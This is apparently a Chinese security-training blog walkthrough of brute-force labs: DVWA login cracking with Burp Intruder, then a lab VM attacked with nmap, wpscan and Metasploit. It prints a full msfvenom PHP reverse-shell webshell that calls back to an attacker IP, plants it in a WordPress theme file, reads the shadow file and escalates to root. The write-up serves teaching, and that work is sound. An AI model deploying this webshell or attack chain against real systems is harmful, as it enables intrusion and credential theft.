WEB安全实战(带靶场)–暴力破解

WEB安全实战(带靶场)–暴力破解

靶场一:DVWA中的暴力破解

靶场二:靶场实验 暴力破解

暴力破解百度云链接(失效请在评论区通知)
链接:https://pan.baidu.com/s/1FcNFC27VFBfQy0ZMnB_TAg
提取码:1234

Brute Force(暴力破解)

Brute Force是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击,Web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果。

靶场一:DVWA中的暴力破解

DVWA暴力破解--low

源码解析
if( isset( $_GET[ 'Login' ] ) ) {
    # 获取用户名和密码
    $user = $_GET[ 'username' ];
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
 
    # 查询验证用户名和密码
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
 
    if( $result && mysql_num_rows( $result ) == 1 ) {
      # 输出头像和用户名
      $avatar = mysql_result( $result, 0, "avatar" );
      echo "<p>Welcome to the password protected area {$user}</p>";
    }
    else {
        登录失败
    }
    mysql_close();
}

Isset

检测变量是否已声明并且其值不为 null
(https://www.php.net/manual/zh/function.isset.php)
若变量不存在则返回 FALSE 
若变量存在且其值为NULL,也返回 FALSE 
若变量存在且值不为NULL,则返回 TURE 
同时检查多个变量时,每个单项都符合上一条要求时才返回 TRUE,否则结果为 FALSE
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。

$_GET 和 $_POST

PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据
$_GET 是通过 URL 参数传递到当前脚本的变量数组。
$_POST 是通过 HTTP POST 传递到当前脚本的变量数组。

mysql_query() 函数

执行一条 MySQL 查询

mysql_error() 函数

返回上一个 MySQL 操作产生的文本错误信息。

mysql_num_rows() 函数

返回结果集中行的数目。

mysql_result()函数

返回结果集中一个字段的值,如果成功,则该函数返回字段值。如果失败,则返回 false

综上所述:未做登录验证码以及登录次数限制,这是初级代码,还存在sql注入。

漏洞利用

第一步:使用burpsuite抓包
在这里插入图片描述

第二步:ctrl+I将包复制到intruder模块,因为要对username(为了节省时间这里直接用admin)和password参数进行爆破,所以在password参数的内容两边加$
在这里插入图片描述

第三步:选中Payloads,载入字典,点击Start attack进行爆破
在这里插入图片描述获取到密码为password

实验一结束

靶场二:靶场实验 暴力破解

实验环境

攻击机:kali
IP:192.168.31.15
在这里插入图片描述
靶场机器:暴力破解.ova(Ubuntu)
IP:192.168.31.86
在这里插入图片描述

信息探测

扫描主机服务信息以及服务版本

nmap -T4 -A -v 靶场IP地址

在这里插入图片描述

探测敏感信息

nikto -host http://靶场IP地址:端口

在这里插入图片描述

扫描网页目录(这里后期补充换了一下ip,不影响观看)

dirb http://ip:端口

在这里插入图片描述在这里插入图片描述

漏洞挖掘

打开WEB首页

在这里插入图片描述

查看站点敏感目录:/secret/

在这里插入图片描述

打开后台登录页面

在这里插入图片描述

漏洞利用

Wordpress用户名枚举(需要联网)

wpscan --url URL ----enumerate u

在这里插入图片描述

发现用户名admin
在这里插入图片描述

利用Metasploit 进行密码暴力破解

msfconsole

在这里插入图片描述

利用wordpress用户枚举模块
在这里插入图片描述在这里插入图片描述

msf6 > use auxiliary/scanner/http/wordpress_login_enum

在这里插入图片描述

#设置登陆名为admin
msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin   
                                                                                
#设置目标ip                                                                                                                   
msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.86                                                                            

#设置目标目录为/secret/
msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/

#设置字典文件路径                                                                                                                      
msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt      
                                                                                                                                                                                    
#开始攻击                                                                                                                                                                                                                           
msf6 auxiliary(scanner/http/wordpress_login_enum) > run

在这里插入图片描述

发现密码为admin
在这里插入图片描述

Tips:页面登陆 如果发现登陆页面跳转失败
在这里插入图片描述
修改host文件进行ip映射
在这里插入图片描述
顺利打开:用户名:admin 密码:admin
在这里插入图片描述
登陆成功
在这里插入图片描述

漏洞提权

生成webshell(php木马文件)

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f raw

在这里插入图片描述

源码附上

<?php /**/ error_reporting(0); $ip = '192.168.31.15'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

在这里插入图片描述

运行404.php文件

http://192.168.31.86/secret/wp-content/themes/twentyseventeen/404.php

在这里插入图片描述

Msf反弹shell
在这里插入图片描述在这里插入图片描述

下载用户密码以及影子文件进行破解
在这里插入图片描述
在这里插入图片描述
获取到用户名以及密码:marlinspike (marlinspike)

shell提权(利用python模块pty)

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

切换为marlinspike用户
在这里插入图片描述

查看sudo权限
在这里插入图片描述
切换为root权限
在这里插入图片描述
在这里插入图片描述

获取到flag值 实验结束

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先需要说明的是,暴力破解是一种攻击手段,而不是一种漏洞。暴力破解通过尝试大量的可能性来猜测正确的用户名和密码,进而获取系统或应用的访问权限。因此,暴力破解的成功与否主要取决于目标系统或应用本身是否存在安全漏洞。 以下是一些可能导致暴力破解成功的漏洞: 1. 弱密码策略:如果目标系统或应用允许弱密码,例如只要求密码长度较短、字符种类较少,或者对密码强度没有强制要求,那么攻击者可以通过暴力破解来猜测出正确的密码。 2. 账户锁定策略不当:如果系统或应用在连续登录失败次数达到一定阈值之后不会锁定账户,或者锁定时间过短,那么攻击者可以通过不断尝试猜测用户名和密码,绕过账户锁定机制。 3. 信息泄露:如果目标系统或应用存在信息泄露风险,例如在登录页面或错误提示信息中暴露了用户名或密码相关的信息,那么攻击者可以利用泄露的信息来进行暴力破解攻击。 4. 暴力破解防护不足:如果目标系统或应用没有采取足够的防护措施,例如没有设置验证码或者设置了较简单的验证码,没有使用多因素认证等措施,那么攻击者可以通过暴力破解绕过这些防护措施。 总之,只有在目标系统或应用存在相关的安全漏洞时,暴力破解才有可能成功。因此,对于目标系统或应用,应该加强安全策略,修补漏洞,提高安全防范能力,避免被暴力破解攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值